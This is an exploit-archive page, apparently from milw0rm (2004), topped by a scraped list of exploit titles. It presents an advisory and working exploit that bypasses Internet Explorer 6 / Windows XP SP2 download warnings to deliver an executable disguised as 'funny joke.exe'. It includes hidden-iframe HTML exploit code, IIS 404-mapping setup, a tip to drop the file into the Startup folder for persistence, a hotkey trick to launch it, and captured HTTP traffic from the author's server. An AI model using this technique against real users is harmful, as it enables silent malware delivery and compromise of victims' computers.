477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
153 lines
6 KiB
Text
Executable file
153 lines
6 KiB
Text
Executable file
Orginal Advisory and exploit by cyber_flash (Vengy)
|
|
|
|
|
|
Circumvent Windows XP SP2 security features using execCommand 'SaveAs' function!
|
|
|
|
Demonstration:
|
|
|
|
Notice that you don't receive any warning messages such as:
|
|
"File Download - Security Warning" or "Open File - Security Warning".
|
|
|
|
If "Hide file extensions for known file types" (Tools->Folder Options...->View) is enabled, (ie., 'funny joke.exe' appears as 'funny joke')
|
|
it's possible to trick a user into downloading a malicious executable file masquerading as an html document!
|
|
|
|
Windows XP SP2 normally prevents direct downloading. For example: calc.exe
|
|
|
|
|
|
Description:
|
|
|
|
When your browser cannot locate the URL that you entered in the address bar, you will receive a 404 error message
|
|
telling you that the file was not found.
|
|
|
|
This exploit utilizes a custom HTTP 404 error message (v.exe) and feeds that eventually to the execCommand Method.
|
|
User input is required because the method always prompts a "Save HTML Document" dialog.
|
|
|
|
1. Bypasses the "File Download - Security Warning".
|
|
|
|
Each time you click a download link, WinXP pops up a "File Download- Security Warning", making you aware that
|
|
Windows is downloading a program and asking for your permission to complete the download process.
|
|
|
|
2. Bypasses the "Open File - Security Warning".
|
|
|
|
Launching a downloaded executable that originates from an untrusted location (zone) such as the Internet also brings
|
|
up a "Open File - Security Warning" that asks for permission to install the file in case it's dangerous.
|
|
|
|
|
|
The execCommand Method:
|
|
|
|
Executes a command on the current document.
|
|
|
|
One of the many parameters of this method is the SaveAs Command which saves the current Web page to a local file.
|
|
The SaveAs Command has the following format:
|
|
|
|
document.execCommand('SaveAs','1','Name of the webpage.htm');
|
|
|
|
|
|
Platforms Tested:
|
|
|
|
* Microsoft Windows 2000 Server
|
|
* Microsoft Windows XP Professional (IIS V5.1)
|
|
* Internet Explorer Version: 6
|
|
* NOT tested on Windows 2003 Server.
|
|
|
|
|
|
Exploit:
|
|
|
|
The following code requires no special server setup, and should work from any webpage that IE 6.0 fetches:
|
|
<html>
|
|
<body>
|
|
<iframe src='http://your.domain.com/v.exe?.htm' name="NotFound" width="0" height="0"></iframe>
|
|
Click <a href=# onclick="javascript:document.frames.NotFound.document.execCommand('SaveAs',1,'funny joke.exe');">here</a>.
|
|
</body>
|
|
</html>
|
|
|
|
Also, here's an example that requires modifying the IIS Error Mapping Properties (see below):
|
|
<html>
|
|
<body>
|
|
<iframe src='vengy404.htm' name="NotFound" width="0" height="0"></iframe>
|
|
Click <a href=# onclick="javascript:document.frames.NotFound.document.execCommand('SaveAs',1,'funny joke.exe');">here</a>.
|
|
</body>
|
|
</html>
|
|
|
|
NOTE: Using 'C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\funny joke.exe' will place the file into the users Startup folder!
|
|
The file v.exe (replace it with any file you like) within the IFRAME src attribute will be delivered to the user upon saving.
|
|
|
|
Steps to configure IIS:
|
|
|
|
Launch Internet Information Services manager.
|
|
Under the 'Custom Errors' tab, modify the Error Mapping Properties as follows:
|
|
|
|
1. Error Code: 404
|
|
2. Default Text: Not Found
|
|
3. Message Type: URL
|
|
4. URL: /v.exe (name of the executable which you'd like to send to the user. ;)
|
|
|
|
Within the HTML page, insert an IFRAME as follows:
|
|
|
|
<iframe src='vengy404.htm' name="NotFound" width="0" height="0"></iframe>
|
|
|
|
The file 'vengy404.htm' intentionally doesn't exist on the server, so it'll trigger a 404 error message as defined above.
|
|
But, the javascript code below references the stealthy v.exe data within the frame 'NotFound' and is piped to 'funny joke.exe'
|
|
when prompted to save the file:
|
|
|
|
javascript:document.frames.NotFound.document.execCommand('SaveAs',1,'funny joke.exe');
|
|
|
|
|
|
Follow TCP Stream:
|
|
|
|
Here's what occurs internally when fetching the exploit webpage plus the 404 error message (v.exe).
|
|
|
|
GET /// HTTP/1.1
|
|
Accept: */*
|
|
Accept-Language: en-us
|
|
Accept-Encoding: gzip, deflate
|
|
If-Modified-Since: Tue, 16 Nov 2004 02:34:44 GMT
|
|
If-None-Match: "7e5914d584cbc41:10d2"
|
|
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
|
|
Host: insecure.hopto.org:53
|
|
Connection: Keep-Alive
|
|
|
|
HTTP/1.1 304 Not Modified
|
|
Server: Microsoft-IIS/5.1
|
|
Date: Tue, 16 Nov 2004 12:31:00 GMT
|
|
Content-Location: http://insecure.hopto.org:53/index.htm
|
|
ETag: "7e5914d584cbc41:10d2"
|
|
Content-Length: 0
|
|
|
|
GET ///vengy404.htm HTTP/1.1
|
|
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
|
|
Accept-Language: en-us
|
|
Accept-Encoding: gzip, deflate
|
|
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
|
|
Host: insecure.hopto.org:53
|
|
Connection: Keep-Alive
|
|
|
|
HTTP/1.1 200 OK
|
|
Server: Microsoft-IIS/5.1
|
|
Cache-Control: no-cache,no-transform
|
|
Expires: Tue, 16 Nov 2004 12:31:00 GMT
|
|
Content-Location: http://insecure.hopto.org:53/v.exe?404;http://insecure.hopto.org///vengy404.htm
|
|
Vary: *
|
|
Date: Tue, 16 Nov 2004 12:31:00 GMT
|
|
Content-Type: application/octet-stream
|
|
Accept-Ranges: bytes
|
|
Content-Length: 91408
|
|
<---V.EXE binary data goes here --->
|
|
|
|
|
|
Conclusion:
|
|
|
|
Overall IE attempts to intercept risky code and prompts a security warning message,
|
|
but it seems to allow custom HTTP errors to filter thru those security checks.
|
|
|
|
Also, by creating a 404 .lnk shortcut file with a hotkey of 'Enter', saving it to the desktop installs a global hotkey,
|
|
so it may be possible to execute the downloaded file by simply forcing the user to press the Enter key "alert('Thanks. Press Return')".
|
|
|
|
Funny and scary how a few well placed characters <iframe src='v.exe?.htm' .... can confuse the IE monster,
|
|
whereas specifying <iframe src='v.exe' .... is handled correctly - wow!
|
|
|
|
Combined with existing exploits, it may be possible to save the data locally without user interaction?
|
|
Anyhow, I'm positive there are many hidden exploits out there which are used to gain entry into our PC's
|
|
regardless of how many patches M$ might supply. Geez, my computer is probably owned right now ... ahhhh...
|
|
|
|
# milw0rm.com [2004-11-19]
|